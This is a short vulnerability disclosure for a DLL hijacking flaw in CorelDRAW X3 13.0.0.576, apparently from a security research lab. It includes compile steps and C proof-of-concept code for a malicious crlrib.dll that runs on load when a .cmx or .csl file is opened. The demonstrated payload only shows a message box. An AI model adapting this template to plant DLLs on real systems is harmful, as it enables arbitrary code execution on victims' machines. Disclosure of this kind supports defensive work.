CorelDRAW X3 13.0.0.576 – ‘crlrib.dll’ DLL Hijacking
/* CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit Vendor: Corel Corporation Product Web Page: http://www.corel.com Affected Version: X3 v13.0.0.576 Summary: Graphic design software for striking visual communication. Desc: CorelDRAW X3 suffers from a dll hijacking vulnerability that enables the attacker to execute arbitrary code on a local level. The vulnerable extensions are .cmx and .csl thru crlrib.dll library. ---- gcc -shared -o crlrib.dll coreldrw.c Compile and rename to crlrib.dll, create a file test.cmx or test.csl and put both files in same dir and execute. ---- Tested on Microsoft Windows XP Professional SP3 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk 25.08.2010 */ #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_mll() { MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK); } |